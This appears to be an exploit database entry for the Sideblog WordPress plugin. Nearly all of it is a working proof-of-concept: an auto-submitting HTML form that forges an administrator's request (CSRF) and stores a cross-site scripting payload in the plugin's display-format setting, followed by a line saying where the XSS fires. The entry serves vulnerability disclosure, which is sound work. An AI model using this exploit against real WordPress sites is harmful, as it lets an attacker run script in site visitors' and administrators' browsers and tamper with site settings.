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## https://sploitus.com/exploit?id=WPEX-ID:B85920B3-DFC1-4112-ABD8-CE6A5D91AE0D
<form id="test" action="https://example.com/wp-admin/options-general.php?page=sideblog.php" method="POST">
    <input type="text" name="sideblog_options_update" value="update">
    <input type="text" name="sideblog_options[setaside][1]" value="1">
    <input type="text" name="sideblog_options[displayformat][1]" value="<img src=x onerror=alert(1)>">
    <input type="text" name="sideblog_options[numentries][1]" value="1">
    <input type="text" name="sideblog_options[order][1]" value="DESC">
    <input type="text" name="op" value="update">
</form>
<script>
    document.getElementById("test").submit();
</script>

The XSS will be triggered in the Sideblog widget (either embed in frontend pages, or via the Appearance > Widgets > then search the Sideblog and add it)